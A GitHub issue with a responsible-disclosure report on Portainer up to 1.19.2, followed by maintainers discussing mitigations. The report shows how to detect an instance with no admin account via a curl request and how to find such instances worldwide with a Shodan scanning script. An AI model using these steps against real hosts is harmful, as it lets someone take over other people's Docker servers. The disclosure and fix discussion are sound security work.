New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Responsible Disclosure - Check if admin already created by a public API endpoint #2475

Closed
lichti opened this Issue Nov 19, 2018 · 15 comments

Comments

Projects
None yet
6 participants
@lichti

lichti commented Nov 19, 2018

Portainer - Check if admin already created by a public API endpoint

PRODUCT DESCRIPTION

PORTAINER IS AN OPEN-SOURCE LIGHTWEIGHT MANAGEMENT UI WHICH ALLOWS YOU TO EASILY MANAGE YOUR DOCKER HOSTS OR SWARM CLUSTERS

BACKGROUND

  • Portainer until 1.19.2

VULNERABILITY DETAILS

Portainer provides an API endpoint (/api/users/admin/check) to verify that the admin user is already created. This API endpoint will return 404 if admin was not created and 204 if it was already created. This "feature" allows anyone to receive unauthorized access on the host when the portainer is configured incorrectly.

PROOF OF CONCEPT

Manual steps to reproduce the vulnerability:

  1. docker run --rm -it -p 9000:9000 -v /var/run/docker.sock:/var/run/docker.sock portainer/portainer
  2. curl -X GET -s -o /dev/null -w "%{http_code}" http://127.0.0.1:9000/api/users/admin/check
  3. If curl return 404, open web-browser and create a admin password. xdg-open http://127.0.0.1:9000

Applying this around the world with shodan:

git clone git@github.com:lichti/shodan-portainer.git
virtualenv --python python3 .venv
source .venv/bin/activate
pip install -r requirements.txt
export SHODAN_API_KEY=xxxxxxxxxxxxxxxxxxxxxxx
python portainer.py

If you has a paid plan, you can use a filters:

export SHODAN_FILTER = 'country:"BR"'
python portainer.py

Output example:

Country: US | ISP: Digital Ocean | http://142.x.y.158:9001/
Country: CA | ISP: Atlantic.net  | http://45.x.y.165:9000/
Error: skipping 206.x.y.63

WORKAROUND

Forcing the admin password by extra parameter on portainer CLI - configuration.html#admin-password. On source code portainer.go#L13-L14.

VULNERABILITY DISCLOSURE TIMELINE

2018-11-19: Vendor was contacted

AUTHOR & REVISION

Author: Gustavo Lichti gustavo.lichti@gmail.com

Revision:

More info:

shodan-portainer

@deviantony deviantony added this to the 1.20.0 milestone Nov 20, 2018

@deviantony

This comment has been minimized.

Member

deviantony commented Nov 20, 2018

Hi @lichti

Thanks for reporting this issue.

This is a matter of mis-configuration that could lead to a potential vulnerability. While we are not keen to force the setup of the default administrator credentials at deployment time, we're thinking about introducing a timer that would shut down the Portainer instance if an administrator account has not been created after 5 minutes.

This would balance the potential vulnerability exploit with UX and deployment simplicity which are core values of the software.

Any thoughts or alternative you'd like to propose?

@lichti

This comment has been minimized.

lichti commented Nov 20, 2018

Hi @deviantony,

Thanks for the answer, shutdown instancet portainer if admin account was not created after awhile, it's an idea. But another idea is to create a token at application startup, and to create the admin password, you need to put that token. The user can get this token with docker logs.

@deviantony

This comment has been minimized.

Member

deviantony commented Nov 20, 2018

@lichti

Yeah sounds like we could also output a random temporary password in the logs and ask the user to set their own password after the first authentication but it would just complexify deployments.

As we'd like to keep our deployment procedure simple, we cannot really leverage docker logs as an extra manual step after deployment to retrieve some information that must then be passed in the UI.

@ncresswell

This comment has been minimized.

Member

ncresswell commented Nov 20, 2018

@lichti

This comment has been minimized.

lichti commented Nov 20, 2018

Deployment procedure simple is good, but don't must to create a potential vulnerability. Sound good shutdown after five minutes, but are five minutes exposted to de world. Sound very simple to me the user configure a initial password by CLI parameter or environment variable.

@b-dantas

This comment has been minimized.

b-dantas commented Nov 20, 2018

Hi @deviantony,

Thanks for the answer, shutdown instancet portainer if admin account was not created after awhile, it's an idea. But another idea is to create a token at application startup, and to create the admin password, you need to put that token. The user can get this token with docker logs.

A token or a temporary password is a good approach. Jenkins team adopted this approach on install procedure, for example. This avoid insecure public instances when them launches.

Once Jenkins is running, consult the log (/var/svc/log/network-http:jenkins.log) to retrieve the generated administrator password for the initial set up of Jenkins, usually it will be found at /var/lib/jenkins/home/secrets/initialAdminPassword. Then navigate to localhost:8080 to complete configuration of the Jenkins instance.

Reference: https://jenkins.io/doc/book/installing/

@lichti

This comment has been minimized.

@ncresswell

This comment has been minimized.

Member

ncresswell commented Nov 20, 2018

@lichti

This comment has been minimized.

lichti commented Nov 20, 2018

in my humble opinion, "--no-authentication" should not exist. Integration with oauth and saml are more important features and do not exist. But "--no-authentication" is forced by user by CLI parameter.

@lichti

This comment has been minimized.

lichti commented Nov 20, 2018

I do:
docker run --rm -it -p 9000:9000 -v /var/run/docker.sock:/var/run/docker.sock portainer/portainer --no-auth

And:
curl -X GET -i http://127.0.0.1:9000/api/users/admin/check
HTTP/1.1 404 Not Found
Content-Type: application/json
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-Xss-Protection: 1; mode=block
Date: Tue, 20 Nov 2018 17:54:10 GMT
Content-Length: 110

{"err":"No administrator account found inside the database","details":"Object not found inside the database"}

In this case, the Endpoint must return 204 and not 404.

@lichti

This comment has been minimized.

lichti commented Nov 20, 2018

UX cannot ignore security, to facilitating initial setup. We need aware users about scurity, and we need help them about this, not facilitating the setup but explaning the ploblem.

@ncresswell

This comment has been minimized.

Member

ncresswell commented Nov 20, 2018

@ncresswell

This comment has been minimized.

Member

ncresswell commented Nov 20, 2018

@strawgate

This comment has been minimized.

Contributor

strawgate commented Dec 13, 2018

Have you guys considered disputing/rejecting this CVE with the National Vulnerability Database? This doesn't seem to qualify as a report-able CVE.

Where are the CVEs for open S3 buckets, MongoDBs and Elasticsearch instances?

@ncresswell

This comment has been minimized.

Member

ncresswell commented Dec 14, 2018

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment